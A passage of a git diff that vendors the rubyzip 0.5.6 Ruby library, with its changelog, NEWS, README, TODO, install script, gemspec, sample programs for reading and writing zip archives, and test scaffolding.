zipfilesystem.rb, zipfilesystemtest.rb, ziptest.rb: Updated and + added missing copyright notices + +2003-08-13 10:00 thomas + + * zip.rb, zipfilesystem.rb, zipfilesystemtest.rb: zipfilesystem.rb + is becoming big and not everyone will want to use that code. + Therefore zip.rb no longer requires it. Instead you must require + zipfilesystem.rb itself if you want to use it + +2003-08-13 09:51 thomas + + * zipfilesystem.rb, zipfilesystemtest.rb: Implemented dummy + permission test methods + +2003-08-13 06:37 thomas + + * TODO, zip.rb, ziptest.rb: Merged from patch from Kristoffer + Lunden. Fixed more 1.8.0 incompatibilites - tests run on 1.8.0 + now + +2003-08-12 19:18 thomas + + * zip.rb: Get rid of 1.8.0 warning + +2003-08-12 19:14 thomas + + * ziptest.rb: ruby 1.8.0 compatibility fix + +2003-08-12 19:13 thomas + + * NEWS, zip.rb: ruby-zlib 0.6.0 compatibility fix + +2002-09-14 22:59 thomas + + * samples/zipfind.rb: Added simple zipfind script + +2002-09-13 23:53 thomas + + * TODO: Added TODO about openmode for zip entries binary/ascii + +2002-09-13 20:54 thomas + + * NEWS: ziptest now runs without errors with ruby-1.7.2-4 (Andy's + latest build) + +2002-09-13 20:51 thomas + + * zip.rb, ziprequiretest.rb, ziptest.rb: ziptest now runs without + errors with ruby-1.7.2-4 (Andy's latest build) + +2002-09-12 00:20 thomas + + * zipfilesystemtest.rb: Improved ZipFsFile.delete/unlink test + +2002-09-12 00:10 thomas + + * zipfilesystem.rb, zipfilesystemtest.rb: Implemented + ZipFsFile.delete/unlink + +2002-09-11 22:18 thomas + + * NEWS, zip.rb, zipfilesystem.rb, zipfilesystemtest.rb: Fixed + AbstractInputStream.each_line ignored its aSeparator argument. + Implemented more ZipFsFile methods + +2002-09-11 21:28 thomas + + * zip.rb, zipfilesystem.rb, zipfilesystemtest.rb: ZipFileSystem is + now a module instead of a class, and is mixed into ZipFile, + instead of being made available as a property fileSystem + +2002-09-10 23:45 thomas + + * NEWS: Updated NEWS file + +2002-09-10 22:39 thomas + + * NEWS, zip.rb, ziptest.rb: Fix bug: rewind should reset lineno. + Fix bug: Deflater.read uses separate buffer from produceInput + (feeding gets/readline etc) + +2002-09-09 22:55 uid26649 + + * zip.rb, ziptest.rb: Implemented ZipInputStream.rewind and + AbstractInputStream.lineno. Tests for both + +2002-09-09 20:31 thomas + + * zip.rb, ziptest.rb: ZipInputStream and ZipOutstream (thru their + AbstractInputStream and AbstractOutputStream now lie about being + kind_of?(IO) + +2002-09-08 16:07 thomas + + * filearchive.rb, filearchivetest.rb, zip.rb, ziptest.rb: Moved + String additions from filearchive.rb to zip.rb (and moved tests + along too to ziptest.rb). Added ZipEntry.parentAsString and + ZipEntrySet.parent + +2002-09-08 15:28 thomas + + * ziptest.rb: Implemented ZipEntrySetTest.testDup and testCompound + +2002-09-08 15:17 thomas + + * TODO, zip.rb, ziptest.rb: Replaced Array with EntrySet for + keeping entries in a zip file. Tagged repository before this + commit, so this change can be rolled back, if it stinks + +2002-09-07 20:21 thomas + + * zip.rb, ziptest.rb: Implemented ZipEntry.<=> + +2002-09-07 14:48 thomas + + * ziptest.rb: Removed unused code + +2002-08-11 15:14 thomas + + * zip.rb, ziptest.rb: Made some changes to accomodate ruby 1.7.2 + +2002-07-27 15:25 thomas + + * zipfilesystem.rb, zipfilesystemtest.rb: Implemented ZipFsFile.new + +2002-07-27 00:30 thomas + + * zipfilesystem.rb, zipfilesystemtest.rb: Implemented + ZipFsFile.pipe + +2002-07-27 00:25 thomas + + * zipfilesystem.rb, zipfilesystemtest.rb: Implemented + ZipFsFile.link + +2002-07-27 00:23 thomas + + * zipfilesystem.rb, zipfilesystemtest.rb: Implemented + ZipFsFile.symlink + +2002-07-27 00:20 thomas + + * zipfilesystem.rb, zipfilesystemtest.rb: Implemented + ZipFsFile.readlink, wrapped ZipFileSystem class in Zip module + +2002-07-27 00:14 thomas + + * zipfilesystem.rb, zipfilesystemtest.rb: Implemented + ZipFsFile.zero? + +2002-07-27 00:01 thomas + + * zipfilesystem.rb, zipfilesystemtest.rb: Implemented test for + ZipFsFile.directory? + +2002-07-26 23:56 thomas + + * zipfilesystem.rb, zipfilesystemtest.rb: Implemented + ZipFsFile.socket? + +2002-07-26 23:50 thomas + + * zipfilesystem.rb, zipfilesystemtest.rb: Implemented + ZipFsFile.join + +2002-07-26 23:32 thomas + + * zipfilesystem.rb, zipfilesystemtest.rb: Implemented + ZipFsFile.ftype + +2002-07-26 23:19 thomas + + * zipfilesystem.rb, zipfilesystemtest.rb: Implemented + ZipFsFile.blockdev? + +2002-07-26 23:12 thomas + + * zipfilesystem.rb, zipfilesystemtest.rb: Implemented + ZipFsFile.size? (slightly different from size) + +2002-07-26 23:03 thomas + + * zipfilesystem.rb, zipfilesystemtest.rb: Implemented + ZipFsFile.split + +2002-07-26 23:00 thomas + + * zipfilesystem.rb, zipfilesystemtest.rb: Implemented + ZipFsFile.symlink? + +2002-07-26 22:58 thomas + + * alltests.rb, zip.rb, zipfilesystem.rb, zipfilesystemtest.rb: + Implemented ZipFsFile.mtime + +2002-07-26 17:08 thomas + + * zipfilesystem.rb, zipfilesystemtest.rb: Implement ZipFsFile.file? + +2002-07-26 17:06 thomas + + * zip.rb, ziptest.rb: Implemented ZipEntry.file? + +2002-07-26 16:57 thomas + + * alltests.rb, filearchive.rb, filearchivetest.rb, zip.rb, + zipfilesystem.rb, zipfilesystemtest.rb, ziprequire.rb, + ziptest.rb: Implemented ZipFileSystem::ZipFsFile.size + +2002-07-26 16:40 thomas + + * test/zipWithDirs.zip: Changed zipWithDirs.zip so all the entries + in it have unix file endings + +2002-07-26 16:12 thomas + + * alltests.rb, zip.rb, zipfilesystem.rb, zipfilesystemtest.rb: + Started implementing ZipFileSystem + +2002-07-26 15:56 thomas + + * test/zipWithDirs.zip: Added a zip file for testing with a + directory structure + +2002-07-21 18:12 thomas + + * TODO: Updated TODO with a refactoring idea for FileArchive + +2002-07-21 17:59 thomas + + * filearchive.rb, filearchivetest.rb: Added some FileArchiveAdd + tests and cleaned up some of the FileArchive tests. extract and + add now have individual test fixtures. + +2002-07-21 16:02 thomas + + * filearchive.rb, filearchivetest.rb: Added tests for extract + called with regex src arg and Enumerable src arg + +2002-07-21 15:37 thomas + + * filearchivetest.rb: Added test for continueOnExistsProc when + extracting from a file archive + +2002-07-20 17:13 thomas + + * TODO, filearchivetest.rb, fileutils.rb, ziptest.rb, + test/.cvsignore: Added (failing) tests for FileArchive.add, added + code for creating test files for FileArchive.add tests. Added + fileutils.rb, which is borrowed from ruby 1.7.2 + +2002-07-20 16:05 thomas + + * filearchivetest.rb: Added tests for String extensions + +2002-07-20 00:42 thomas + + * TODO: Updated TODO + +2002-07-20 00:35 thomas + + * filearchive.rb, filearchivetest.rb: All FileArchive.extract tests + run + +2002-05-25 00:41 thomas + + * simpledist.rb: Added hackish script for creating dist files + +2002-04-30 20:40 thomas + + * filearchive.rb, filearchivetest.rb: Improved testing and wrote + some of the skeleton of extract. Still to do: Fix glob, so it + returns a hashmap instead of a list. The map will need to map the + full entry name to the last part of the name (which is only + really interesting for recursively extracted entries, otherwise + it is just the name). Glob.expandPathList should also output + directories with a trailing slash, which is doesn't right now. + +2002-04-30 19:52 thomas + + * filearchive.rb, filearchivetest.rb: Implemented the first few + tests for FileArchive + +2002-04-24 22:06 thomas + + * ziprequire.rb, ziprequiretest.rb: Appended copyright message to + ziprequire.rb and ziprequiretest.rb + +2002-04-24 20:59 thomas + + * zip.rb: Made ZipEntry tolerate invalid dates + +2002-04-21 00:57 thomas + + * NEWS, TODO, zip.rb, ziptest.rb: Read and write entry modification + date/time correctly + +2002-04-20 02:44 thomas + + * ziprequiretest.rb, test/rubycode2.zip: improved ZipRequireTest + +2002-04-20 02:39 thomas + + * ziprequire.rb: Made a warning go away + +2002-04-20 02:38 thomas + + * ziprequire.rb, ziprequiretest.rb, test/notzippedruby.rb, + test/rubycode.zip: Fixed a bug in ziprequire. Added + ziprequiretest.rb and test data files + +2002-04-19 22:43 thomas + + * zip.rb, ziptest.rb: Added recursion support to Glob module + +2002-04-18 21:37 thomas + + * NEWS, TODO, zip.rb, ziptest.rb: Added Glob module and GlobTest + unit test suite. This module provides the functionality to expand + a 'glob pattern' given a list of files - Next step is to use this + module in ZipFile + +2002-04-01 21:16 thomas + + * TODO, zip.rb, ziprequire.rb: Added ziprequire.rb which contains a + proof-of-concept implementation of a require implementation that + can load ruby modules from a zip file. Needs unit tests and + polish. + +2002-03-30 01:52 thomas + + * .cvsignore, README, zip.rb: Added rdoc markup (only #:nodoc:all + modifiers) to zip.rb. Made README 'RDoc compliant' + +2002-03-29 23:26 thomas + + * example.rb, samples/.cvsignore, samples/example.rb, + samples/gtkRubyzip.rb: Moved example.rb to samples/. Added + another sample gtkRubyzip.rb + +2002-03-29 20:06 thomas + + * .cvsignore, file1.txt, file1.txt.deflatedData, testDirectory.bin, + ziptest.rb, test/.cvsignore, test/file1.txt, + test/file1.txt.deflatedData, test/file2.txt, + test/testDirectory.bin: Added test/ directory and moved the + manually created test data files into it. Changed ziptest.rb so + it runs in test/ directory + +2002-03-29 18:15 thomas + + * NEWS, zip.rb, ziptest.rb: Don't decompress and recompress zip + entries when changing zip file + +2002-03-29 17:50 thomas + + * zip.rb: Performance optimization: Only write new ZipFile, if it + has been changed. The test suite runs in half the time now. + +2002-03-22 22:18 thomas + + * ziptest.rb: Found the tests that didn't use blocks to make sure + input streams are closed as soon as they arent used anymore and + got rid of the GC.start + +2002-03-22 22:12 thomas + + * ziptest.rb: All tests run on windows ruby 1.6.6 + +2002-03-22 10:38 thomas + + * zip.rb, ziptest.rb: Windows fixes: Fixed ZipFile.initialize which + needed to open zipfile file in binary mode. Added another + workaround for the return value from File.open(name) where name + is the name of a directory - ruby returns different exceptions in + linux, win/cygwin and windows. A number of tests failed because + in windows you cant delete a file that is open. Fixed by changing + ziptest.rb to use ZipInputStream.getInputStream with blocks a few + places. There is a hack in CommanZipFileFixture.setup where the + GC is explicitly invoked. Should be fixed with blocks instead. + The only currently failing test fails because the test data + creation fails to add a comment to 4entry.zip, because echo eats + the remainder of the line including the pipe character and the + following zip -z 4 entry.zip command + +2002-03-21 22:12 thomas + + * NEWS, README, TODO, install.rb: Added install.rb + +2002-03-21 20:34 thomas + + * .cvsignore, TODO, zip.rb, ziptest.rb: Added + test_extractDirectoryExistsAsFileOverwrite and fixed to pass + +2002-03-21 20:22 thomas + + * zip.rb, ziptest.rb: Extraction of directory entries is now + supported + +2002-03-20 21:24 thomas + + * COPYING, README, README.txt: Removed COPYING, renamed README.txt + to README. Updated README + +2002-03-20 21:18 thomas + + * example.rb: Fixed example.rb added example that shows zip file + manipulation with Zip::ZipFile + +2002-03-20 20:56 thomas + + * TODO, zip.rb, ziptest.rb: Directories can now be added (not + recursively, the directory entry itself. Directories are + recognized by a empty entries with a trailing /. The purpose of + storing them explicitly in the zip file is to be able to store + permission and ownership information + +2002-03-20 20:08 thomas + + * TODO, zip.rb, ziptest.rb: zip.rb depended on ftools but it was + only included in ziptest.rb + +2002-03-20 19:07 thomas + + * zip.rb, ziptest.rb: ZipError is now a subclass of StandardError + instead of RuntimeError. ZipError now has several subclasses. + +2002-03-19 22:19 thomas + + * TODO, ziptest.rb: Unit test ZipFile.getInputStream with block + +2002-03-19 22:11 thomas + + * TODO, zip.rb, ziptest.rb: Unit test for adding new entry with + name that already exists in archive, and fixed to pass test + +2002-03-19 21:40 thomas + + * TODO, zip.rb, ziptest.rb: Added unit tests for rename to existing + entry + +2002-03-19 20:40 thomas + + * TODO, zip.rb, ziptest.rb: Unit test calling ZipFile.extract with + block + +2002-03-18 21:05 thomas + + * zip.rb, ziptest.rb: ZipFile#commit now reinitializes ZipFile. + +2002-03-18 20:42 thomas + + * TODO, zip.rb, ziptest.rb: Refactoring: + + Collapsed ZipEntry and ZipStreamableZipEntry into ZipEntry. + + Collapsed BasicZipFile and ZipFile into ZipFile. + +2002-03-18 18:05 thomas + + * zip.rb: Removed method that was never called + +2002-03-17 22:25 thomas + + * ziptest.rb: Run tests with =true as default + +2002-03-17 22:22 thomas + + * NEWS, TODO, zip.rb, ziptest.rb: Now runs with -w switch without + warnings + +2002-03-17 21:04 thomas + + * zip.rb, ziptest.rb: Down to one failing test + +2002-02-25 19:42 thomas + + * TODO: Added more todos + +2002-02-02 00:14 thomas + + * example.rb, zip.rb, ziptest.rb: Renamed SimpleZipFile to + BasicZipFile + +2002-02-02 00:01 thomas + + * ziptest.rb: More test cases - all of them failing, so now there + are 18 failing test cases. Three more test cases to implement, + then it is time for the production code + +2002-02-01 21:34 thomas + + * ziptest.rb: Also run SimpleZipFile tests for ZipFile. + +2002-02-01 20:11 thomas + + * example.rb, zip.rb, ziptest.rb: ZipFile renamed to SimpleZipFile. + The new ZipFile will have many more methods that are useful for + managing archives. + +2002-01-26 00:14 thomas + + * ziptest.rb: In unit test: work around ruby/cygwin weirdness. You + get an Errno::EEXISTS instead of an Errno::EISDIR if you try to + open a file for writing that is a directory. + +2002-01-26 00:02 thomas + + * ziptest.rb: Fixed test that failed on windows because of CRLF + line ending + +2002-01-25 23:29 thomas + + * .cvsignore, example.rb, zip.rb: Fixed bug reading from empty + deflated entry in zip file + +2002-01-25 22:51 thomas + + * NEWS, README.txt, zip.rb, ziptest.rb: Zip write support is now + fully functional in the form of ZipOutputStream. + +2002-01-20 16:00 thomas + + * zip.rb, ziptest.rb: Added Deflater and DeflaterTest. + +2002-01-20 00:23 thomas + + * .cvsignore: Added .cvsignore file + +2002-01-20 00:09 thomas + + * zip.rb, ziptest.rb: Added ZipEntry.writeCDirEntry and misc minor + fixes + +2002-01-19 23:28 thomas + + * example.rb, zip.rb, ziptest.rb: NOTICE: Not all tests run!! + + ZipOutputStream in progress + + Wrapped rubyzip in namespace module Zip. + +2002-01-17 18:52 thomas + + * ziptest.rb: Fail nicely if the user doesn't have info-zip + compatible zip in the path + +2002-01-10 18:02 thomas + + * zip.rb: Adjusted chunk size to 32k after a few perf measurements + +2002-01-09 22:10 thomas + + * README.txt: License now same as rubys, not just GPL + +2002-01-05 23:09 thomas + + * NEWS, README.txt: Updated NEWS file + +2002-01-05 23:05 thomas + + * README.txt, zip.rb, ziptest.rb, zlib.c.diff: Added tests for + decompressors and a tests for ZipLocalEntry, + ZipCentralDirectoryEntry and ZipCentralDirectory for handling of + corrupt data + +2002-01-05 22:21 thomas + + * file1.txt.deflatedData: deflated data extracted from a zip file. + contains file1.txt + +2002-01-05 20:05 thomas + + * zip.rb: Changed references to Inflate to Zlib::inflate for + compatibility with ruby-zlib-0.5 + +2002-01-05 01:31 thomas + + * ziptest.rb: Fixed problem with test file creation + +2002-01-05 01:15 thomas + + * README.txt: Updated README.txt + +2002-01-05 01:13 thomas + + * zip.rb, ziptest.rb: ZipFile now works + +2002-01-04 21:51 thomas + + * testDirectory.bin, zip.rb, ziptest.rb: + ZipCentralDirectoryEntryTest now runs + +2002-01-04 18:40 thomas + + * ziptest.rb: Changed + ZIpLocalNEtryTest::test_ReadLocalEntryHeaderOfFirstTestZipEntry + so it works on both unix too. It only worked on windows because + the test made assumptions about the compressed size and crc of an + entry, but that differs depending on the OS because of the CRLF + thing. + +2002-01-04 18:37 thomas + + * README.txt: Added note about zlib.c patch + +2002-01-02 18:48 thomas + + * README.txt, example.rb, file1.txt, zip.rb, ziptest.rb, + zlib.c.diff: Initial revision + +2002-01-02 18:48 thomas + + * README.txt, example.rb, file1.txt, zip.rb, ziptest.rb, + zlib.c.diff: initial + diff --git a/vendor/rubyzip-0.5.6/NEWS b/vendor/rubyzip-0.5.6/NEWS new file mode 100755 index 00000000..d05d6561 --- /dev/null +++ b/vendor/rubyzip-0.5.6/NEWS @@ -0,0 +1,99 @@ += Version 0.5.6 = + +Fix for FreeBSD 4.9 which returns Errno::EFBIG instead of +Errno::EINVAL for some invalid seeks. Fixed 'version needed to +extract'-field incorrect in local headers. + += Version 0.5.5 = + +Fix for a problem with writing zip files that concerns only ruby 1.8.1. + += Version 0.5.4 = + +Significantly reduced memory footprint when modifying zip files. + += Version 0.5.3 = + +Added optimization to avoid decompressing and recompressing individual +entries when modifying a zip archive. + += Version 0.5.2 = + +Fixed ZipFile corruption bug in ZipFile class. Added basic unix +extra-field support. + += Version 0.5.1 = + +Fixed ZipFile.get_output_stream bug. + += Version 0.5.0 = + +List of changes: +* Ruby 1.8.0 and ruby-zlib 0.6.0 compatibility +* Changed method names from camelCase to rubys underscore style. +* Installs to zip/ subdir instead of directly to site_ruby +* Added ZipFile.directory and ZipFile.file - each method return an +object that can be used like Dir and File only for the contents of the +zip file. +* Added sample application zipfind which works like Find.find, only +Zip::ZipFind.find traverses into zip archives too. + +Bug fixes: +* AbstractInputStream.each_line with non-default separator + + += Version 0.5.0a = + +Source reorganized. Added ziprequire, which can be used to load ruby +modules from a zip file, in a fashion similar to jar files in +Java. Added gtkRubyzip, another sample application. Implemented +ZipInputStream.lineno and ZipInputStream.rewind + +Bug fixes: + +* Read and write date and time information correctly for zip entries. +* Fixed read() using separate buffer, causing mix of gets/readline/read to +cause problems. + += Version 0.4.2 = + +Performance optimizations. Test suite runs in half the time. + += Version 0.4.1 = + +Windows compatibility fixes. + += Version 0.4.0 = + +Zip::ZipFile is now mutable and provides a more convenient way of +modifying zip archives than Zip::ZipOutputStream. Operations for +adding, extracting, renaming, replacing and removing entries to zip +archives are now available. + +Runs without warnings with -w switch. + +Install script install.rb added. + + += Version 0.3.1 = + +Rudimentary support for writing zip archives. + + += Version 0.2.2 = + +Fixed and extended unit test suite. Updated to work with ruby/zlib +0.5. It doesn't work with earlier versions of ruby/zlib. + + += Version 0.2.0 = + +Class ZipFile added. Where ZipInputStream is used to read the +individual entries in a zip file, ZipFile reads the central directory +in the zip archive, so you can get to any entry in the zip archive +without having to skipping through all the preceeding entries. + + += Version 0.1.0 = + +First working version of ZipInputStream. diff --git a/vendor/rubyzip-0.5.6/README b/vendor/rubyzip-0.5.6/README new file mode 100755 index 00000000..2160e5d7 --- /dev/null +++ b/vendor/rubyzip-0.5.6/README @@ -0,0 +1,49 @@ += rubyzip + +rubyzip is a ruby library for reading and writing zip (pkzip format) +files, with the restriction that only uncompressed and deflated zip +entries are supported. All this library does is handling of the zip +file format. the actual compression/decompression is handled by +zlib. zlib is accessible from ruby thanks to ruby/zlib (see below) + +To run the unit tests you need to have rubyunit or test::unit +installed. + += Install + +ruby install.rb + + += Prerequisites + +This library requires ruby/zlib version 0.5.0 or newer. ruby/zlib is +included in most recent ruby distributions. + +* zlib http://www.gzip.org/zlib/ +* ruby-zlib: http://www.blue.sky.or.jp/atelier/ruby/ + + += Documentation + +The samples/ directory is a good place to start to get a feel for +using the library. For details about the specific behaviour of classes +and methods refer to the test suite. Finally you can generate the rdoc +documentation or visit http://rubyzip.sourceforge.net/doc. + + += License + +rubyzip is distributed under the same license as ruby. See +http://www.ruby-lang.org/en/LICENSE.txt + + += Project Home + +http://rubyzip.sourceforge.net + + += Author + +Thomas Sondergaard (thomas at thomassondergaard.com) + +extra-field support contributed by Tatsuki Sugiura (sugi at nemui.org) diff --git a/vendor/rubyzip-0.5.6/TODO b/vendor/rubyzip-0.5.6/TODO new file mode 100755 index 00000000..05746880 --- /dev/null +++ b/vendor/rubyzip-0.5.6/TODO @@ -0,0 +1,10 @@ +* Fix problem with mixing AbstractInputStream::gets and AbstractInputStream::red +* Implement ZipFsDir.glob +* ZipFile.checkIntegrity method +* non-MSDOS permission attributes +** See mail from Ned Konz to ruby-talk subj. "Re: SV: [ANN] Archive 0.2" +* Packager version, required unpacker version in zip headers +** See mail from Ned Konz to ruby-talk subj. "Re: SV: [ANN] Archive 0.2" +* implement small gui app on top, to exercise library and to discover +what features should be added to rubyzip next. +* implement storing attributes and ownership information diff --git a/vendor/rubyzip-0.5.6/install.rb b/vendor/rubyzip-0.5.6/install.rb new file mode 100755 index 00000000..d806acb0 --- /dev/null +++ b/vendor/rubyzip-0.5.6/install.rb @@ -0,0 +1,21 @@ +#!/usr/bin/env ruby + +$VERBOSE = true + +require 'rbconfig' +require 'find' +require 'ftools' + +include Config + +files = %w{ stdrubyext.rb ioextras.rb zip.rb zipfilesystem.rb ziprequire.rb tempfile_bugfixed.rb } + +INSTALL_DIR = File.join(CONFIG["sitelibdir"], "zip") +File.makedirs(INSTALL_DIR) +Dir.chdir "zip" +files.each { + |filename| + installPath = File.join(INSTALL_DIR, filename) + File::install(filename, installPath, 0644, true) +} +Dir.chdir ".." diff --git a/vendor/rubyzip-0.5.6/rubyzip.gemspec b/vendor/rubyzip-0.5.6/rubyzip.gemspec new file mode 100755 index 00000000..951569b8 --- /dev/null +++ b/vendor/rubyzip-0.5.6/rubyzip.gemspec @@ -0,0 +1,20 @@ +$:.unshift '../lib' +require 'rubygems' + +spec = Gem::Specification.new do |s| + s.name = 'rubyzip' + s.version = "0.5.5" + s.author = "Thomas Sondergaard" + s.email = "thomas(at)thomassondergaard.com" + s.homepage = "http://rubyzip.sourceforge.net/" + s.platform = Gem::Platform::RUBY + s.summary = "rubyzip is a ruby module for reading and writing zip files" + s.files = Dir.glob("{samples,zip,docs}/**/*").delete_if {|item| item.include?("CVS") || item.include?("rdoc")} + s.require_path = '.' + s.autorequire = 'zip/zip' +end + +if $0==__FILE__ + Gem::Builder.new(spec).build +end + diff --git a/vendor/rubyzip-0.5.6/samples/example.rb b/vendor/rubyzip-0.5.6/samples/example.rb new file mode 100755 index 00000000..35ceb09d --- /dev/null +++ b/vendor/rubyzip-0.5.6/samples/example.rb @@ -0,0 +1,69 @@ +#!/usr/bin/env ruby + +$: << ".." +system("zip example.zip example.rb gtkRubyzip.rb") + +require 'zip/zip' + +####### Using ZipInputStream alone: ####### + +Zip::ZipInputStream.open("example.zip") { + |zis| + entry = zis.get_next_entry + print "First line of '#{entry.name} (#{entry.size} bytes): " + puts "'#{zis.gets.chomp}'" + entry = zis.get_next_entry + print "First line of '#{entry.name} (#{entry.size} bytes): " + puts "'#{zis.gets.chomp}'" +} + + +####### Using ZipFile to read the directory of a zip file: ####### + +zf = Zip::ZipFile.new("example.zip") +zf.each_with_index { + |entry, index| + + puts "entry #{index} is #{entry.name}, size = #{entry.size}, compressed size = #{entry.compressed_size}" + # use zf.get_input_stream(entry) to get a ZipInputStream for the entry + # entry can be the ZipEntry object or any object which has a to_s method that + # returns the name of the entry. +} + + +####### Using ZipOutputStream to write a zip file: ####### + +Zip::ZipOutputStream.open("exampleout.zip") { + |zos| + zos.put_next_entry("the first little entry") + zos.puts "Hello hello hello hello hello hello hello hello hello" + + zos.put_next_entry("the second little entry") + zos.puts "Hello again" + + # Use rubyzip or your zip client of choice to verify + # the contents of exampleout.zip +} + +####### Using ZipFile to change a zip file: ####### + +Zip::ZipFile.open("exampleout.zip") { + |zf| + zf.add("thisFile.rb", "example.rb") + zf.rename("thisFile.rb", "ILikeThisName.rb") + zf.add("Again", "example.rb") +} + +# Lets check +Zip::ZipFile.open("exampleout.zip") { + |zf| + puts "Changed zip file contains: #{zf.entries.join(', ')}" + zf.remove("Again") + puts "Without 'Again': #{zf.entries.join(', ')}" +} + +# For other examples, look at zip.rb and ziptest.rb + +# Copyright (C) 2002 Thomas Sondergaard +# rubyzip is free software; you can redistribute it and/or +# modify it under the terms of the ruby license. diff --git a/vendor/rubyzip-0.5.6/samples/example_filesystem.rb b/vendor/rubyzip-0.5.6/samples/example_filesystem.rb new file mode 100755 index 00000000..8fc5ef83 --- /dev/null +++ b/vendor/rubyzip-0.5.6/samples/example_filesystem.rb @@ -0,0 +1,34 @@ +#!/usr/bin/env ruby + +$: << ".." + +require 'zip/zipfilesystem' +require 'ftools' + +EXAMPLE_ZIP = "filesystem.zip" + +File.delete(EXAMPLE_ZIP) if File.exists?(EXAMPLE_ZIP) + +Zip::ZipFile.open(EXAMPLE_ZIP, Zip::ZipFile::CREATE) { + |zf| + zf.file.open("file1.txt", "w") { |os| os.write "first file1.txt" } + zf.dir.mkdir("dir1") + zf.dir.chdir("dir1") + zf.file.open("file1.txt", "w") { |os| os.write "second file1.txt" } + puts zf.file.read("file1.txt") + puts zf.file.read("../file1.txt") + zf.dir.chdir("..") + zf.file.open("file2.txt", "w") { |os| os.write "first file2.txt" } + puts "Entries: #{zf.entries.join(', ')}" +} + +Zip::ZipFile.open(EXAMPLE_ZIP) { + |zf| + puts "Entries from reloaded zip: #{zf.entries.join(', ')}" +} + +# For other examples, look at zip.rb and ziptest.rb + +# Copyright (C) 2003 Thomas Sondergaard +# rubyzip is free software; you can redistribute it and/or +# modify it under the terms of the ruby license. diff --git a/vendor/rubyzip-0.5.6/samples/gtkRubyzip.rb b/vendor/rubyzip-0.5.6/samples/gtkRubyzip.rb new file mode 100755 index 00000000..d2c3a204 --- /dev/null +++ b/vendor/rubyzip-0.5.6/samples/gtkRubyzip.rb @@ -0,0 +1,86 @@ +#!/usr/bin/env ruby + +$: << ".." + +$VERBOSE = true + +require 'gtk' +require 'zip/zip' + +class MainApp < Gtk::Window + def initialize + super() + set_usize(400, 256) + set_title("rubyzip") + signal_connect(Gtk::Window::SIGNAL_DESTROY) { Gtk.main_quit } + + box = Gtk::VBox.new(false, 0) + add(box) + + @zipfile = nil + @buttonPanel = ButtonPanel.new + @buttonPanel.openButton.signal_connect(Gtk::Button::SIGNAL_CLICKED) { + show_file_selector + } + @buttonPanel.extractButton.signal_connect(Gtk::Button::SIGNAL_CLICKED) { + puts "Not implemented!" + } + box.pack_start(@buttonPanel, false, false, 0) + + sw = Gtk::ScrolledWindow.new + sw.set_policy(Gtk::POLICY_AUTOMATIC, Gtk::POLICY_AUTOMATIC) + box.pack_start(sw, true, true, 0) + + @clist = Gtk::CList.new(["Name", "Size", "Compression"]) + @clist.set_selection_mode(Gtk::SELECTION_BROWSE) + @clist.set_column_width(0, 120) + @clist.set_column_width(1, 120) + @clist.signal_connect(Gtk::CList::SIGNAL_SELECT_ROW) { + |w, row, column, event| + @selected_row = row + } + sw.add(@clist) + end + + class ButtonPanel < Gtk::HButtonBox + attr_reader :openButton, :extractButton + def initialize + super + set_layout(Gtk::BUTTONBOX_START) + set_spacing(0) + @openButton = Gtk::Button.new("Open archive") + @extractButton = Gtk::Button.new("Extract entry") + pack_start(@openButton) + pack_start(@extractButton) + end + end + + def show_file_selector + @fileSelector = Gtk::FileSelection.new("Open zip file") + @fileSelector.show + @fileSelector.ok_button.signal_connect(Gtk::Button::SIGNAL_CLICKED) { + open_zip(@fileSelector.filename) + @fileSelector.destroy + } + @fileSelector.cancel_button.signal_connect(Gtk::Button::SIGNAL_CLICKED) { + @fileSelector.destroy + } + end + + def open_zip(filename) + @zipfile = Zip::ZipFile.open(filename) + @clist.clear + @zipfile.each { + |entry| + @clist.append([ entry.name, + entry.size.to_s, + (100.0*entry.compressedSize/entry.size).to_s+"%" ]) + } + end +end + +mainApp = MainApp.new() + +mainApp.show_all + +Gtk.main diff --git a/vendor/rubyzip-0.5.6/samples/write_simple.rb b/vendor/rubyzip-0.5.6/samples/write_simple.rb new file mode 100755 index 00000000..d0c30a43 --- /dev/null +++ b/vendor/rubyzip-0.5.6/samples/write_simple.rb @@ -0,0 +1,13 @@ +#!/usr/bin/env ruby + +$: << ".." + +require 'zip/zip' + +include Zip + +ZipOutputStream.open('simple.zip') { + |zos| + ze = zos.put_next_entry 'entry.txt' + zos.puts "Hello world" +} \ No newline at end of file diff --git a/vendor/rubyzip-0.5.6/samples/zipfind.rb b/vendor/rubyzip-0.5.6/samples/zipfind.rb new file mode 100755 index 00000000..96c489d4 --- /dev/null +++ b/vendor/rubyzip-0.5.6/samples/zipfind.rb @@ -0,0 +1,74 @@ +#!/usr/bin/env ruby + +$VERBOSE = true + +$: << ".." + +require 'zip/zip' +require 'find' + +module Zip + module ZipFind + def self.find(path, zipFilePattern = /\.zip$/i) + Find.find(path) { + |fileName| + yield(fileName) + if zipFilePattern.match(fileName) && File.file?(fileName) + begin + Zip::ZipFile.foreach(fileName) { + |zipEntry| + yield(fileName + File::SEPARATOR + zipEntry.to_s) + } + rescue Errno::EACCES => ex + puts ex + end + end + } + end + + def self.find_file(path, fileNamePattern, zipFilePattern = /\.zip$/i) + self.find(path, zipFilePattern) { + |fileName| + yield(fileName) if fileNamePattern.match(fileName) + } + end + + end +end + +if __FILE__ == $0 + module ZipFindConsoleRunner + + PATH_ARG_INDEX = 0; + FILENAME_PATTERN_ARG_INDEX = 1; + ZIPFILE_PATTERN_ARG_INDEX = 2; + + def self.run(args) + check_args(args) + Zip::ZipFind.find_file(args[PATH_ARG_INDEX], + args[FILENAME_PATTERN_ARG_INDEX], + args[ZIPFILE_PATTERN_ARG_INDEX]) { + |fileName| + report_entry_found fileName + } + end + + def self.check_args(args) + if (args.size != 3) + usage + exit + end + end + + def self.usage + puts "Usage: #{$0} PATH ZIPFILENAME_PATTERN FILNAME_PATTERN" + end + + def self.report_entry_found(fileName) + puts fileName + end + + end + + ZipFindConsoleRunner.run(ARGV) +end diff --git a/vendor/rubyzip-0.5.6/test/alltests.rb b/vendor/rubyzip-0.5.6/test/alltests.rb new file mode 100755 index 00000000..691349af --- /dev/null +++ b/vendor/rubyzip-0.5.6/test/alltests.rb @@ -0,0 +1,9 @@ +#!/usr/bin/env ruby + +$VERBOSE = true + +require 'stdrubyexttest' +require 'ioextrastest' +require 'ziptest' +require 'zipfilesystemtest' +require 'ziprequiretest' diff --git a/vendor/rubyzip-0.5.6/test/file1.txt b/vendor/rubyzip-0.5.6/test/file1.txt new file mode 100755 index 00000000..23ea2f73 --- /dev/null +++ b/vendor/rubyzip-0.5.6/test/file1.txt @@ -0,0 +1,46 @@ + +AUTOMAKE_OPTIONS = gnu + +EXTRA_DIST = test.zip + 